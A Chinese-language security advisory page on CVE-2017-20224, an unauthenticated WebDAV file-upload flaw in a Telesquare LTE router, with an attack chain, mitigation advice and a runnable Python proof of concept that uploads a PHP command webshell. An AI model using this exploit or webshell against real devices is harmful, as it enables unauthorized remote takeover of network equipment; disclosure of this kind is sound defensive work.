IPBUF安全漏洞报告
English
CVE-2017-20224 CVSS 9.8 严重

CVE-2017-20224 Telesquare SKT LTE Router SDT-CS3B1 任意文件上传漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2017-20224
漏洞类型
任意文件上传/远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Telesquare SKT LTE Router SDT-CS3B1

相关标签

CVE-2017-20224任意文件上传WebDAV远程代码执行TelesquareSKT LTE RouterSDT-CS3B1路由器漏洞无需认证PUT方法

漏洞概述

CVE-2017-20224是Telesquare公司生产的SKT LTE Router SDT-CS3B1路由器中存在的一个严重安全漏洞。该漏洞存在于1.2.0版本固件中,由于WebDAV服务配置不当,允许未经身份验证的攻击者利用PUT、DELETE、MKVOL、MOVE、COPY和PROPPATCH等HTTP方法进行任意文件上传操作。攻击者可以通过WebDAV协议的PUT方法将恶意文件(如webshell)上传到服务器指定目录,从而实现远程代码执行。此外,攻击者还可以利用DELETE方法删除服务器上的关键文件,造成拒绝服务攻击。MKCOL方法允许创建目录,MOVE和COPY方法则可用于移动或复制文件,PROPPATCH方法可用于修改文件属性。由于该路由器通常部署在企业网络边缘,漏洞的成功利用可能导致内网横向移动、数据泄露甚至整个网络被控。CVSS评分高达9.8分,属于紧急严重级别,需要立即采取修复措施。

技术细节

该漏洞的根本原因在于WebDAV服务启用了危险的HTTP方法且缺乏适当的访问控制。WebDAV(Web-based Distributed Authoring and Versioning)是一种允许用户通过HTTP协议进行文件管理和协作的扩展协议。正常情况下,WebDAV服务应该限制可访问的目录范围,并对上传文件类型进行严格校验。然而,SDT-CS3B1路由器1.2.0版本的WebDAV实现存在以下问题:首先,未对PUT方法的上传路径进行限制,攻击者可将文件写入任意目录;其次,未验证上传文件的MIME类型,允许上传可执行脚本;最后,缺少身份验证机制,任何网络可达的用户都可调用WebDAV方法。攻击者通过构造特定的HTTP请求,如PUT /shell.php,可直接将PHP webshell上传到web根目录,随后访问该文件即可在服务器上执行任意系统命令。

攻击链分析

STEP 1
1
信息收集:攻击者首先扫描目标网络,发现Telesquare SKT LTE Router SDT-CS3B1设备,并确认其IP地址和WebDAV服务端口
STEP 2
2
探测验证:使用HTTP OPTIONS方法探测WebDAV服务,确认PUT、DELETE、MKCOL等危险方法已启用
STEP 3
3
构造恶意文件:攻击者准备包含恶意代码的PHP webshell或其他可执行脚本文件
STEP 4
4
文件上传:利用PUT方法将webshell上传至路由器web目录,成功后返回201或204状态码
STEP 5
5
远程代码执行:通过HTTP GET请求访问上传的webshell,并在cmd参数中传递系统命令,实现远程代码执行
STEP 6
6
持久化控制:上传额外的后门程序、修改启动脚本或创建新账户,建立持久化访问通道
STEP 7
7
横向移动:利用路由器作为跳板,对内网其他设备进行扫描和攻击,扩大攻击范围

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2017-20224 PoC - Telesquare SKT LTE Router SDT-CS3B1 Arbitrary File Upload Target: Telesquare SKT LTE Router SDT-CS3B1 version 1.2.0 Vulnerability: WebDAV arbitrary file upload via PUT method """ import requests import sys def upload_shell(target_ip, target_port=80): """ Upload a PHP webshell to the target router via WebDAV PUT method """ # PHP webshell content webshell = b'<?php system($_GET["cmd"]); ?>' # Target URL with WebDAV enabled path url = f"http://{target_ip}:{target_port}/webdav/shell.php" # HTTP headers for WebDAV PUT request headers = { 'Content-Type': 'application/octet-stream', 'Destination': 'http://target/webdav/shell.php' } print(f"[*] Attempting to upload webshell to {url}") try: # Send PUT request to upload the webshell response = requests.put(url, data=webshell, headers=headers, timeout=10) if response.status_code in [201, 204]: print("[+] Webshell uploaded successfully!") print(f"[+] Access shell at: http://{target_ip}:{target_port}/webdav/shell.php?cmd=whoami") return True else: print(f"[-] Upload failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def check_webdav(target_ip, target_port=80): """ Check if WebDAV methods are enabled on the target """ url = f"http://{target_ip}:{target_port}/" print(f"[*] Checking WebDAV support on {url}") # Check OPTIONS to see allowed methods try: response = requests.options(url, timeout=10) allowed_methods = response.headers.get('Allow', 'Not specified') print(f"[*] Allowed methods: {allowed_methods}") if 'PUT' in allowed_methods or 'PROPFIND' in allowed_methods: print("[+] WebDAV methods are enabled - target may be vulnerable") return True else: print("[-] WebDAV methods not detected") return False except requests.exceptions.RequestException as e: print(f"[-] Check failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") print(f"Example: {sys.argv[0]} 192.168.1.1 80") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 # First check if target is vulnerable if check_webdav(target, port): # Attempt to upload webshell upload_shell(target, port)

影响范围

Telesquare SKT LTE Router SDT-CS3B1 < 1.2.1

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1)通过网络防火墙阻止外部用户对路由器WebDAV端口(通常为80/443)的访问;2)在路由器前部署WAF设备,对PUT、DELETE、MKCOL等危险HTTP方法进行拦截;3)如果WebDAV功能非必需,应立即禁用;4)加强网络监控,部署入侵检测系统(IDS)告警异常的WebDAV请求;5)考虑使用VPN替代直接暴露的管理接口,确保只有授权人员能够访问路由器管理界面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表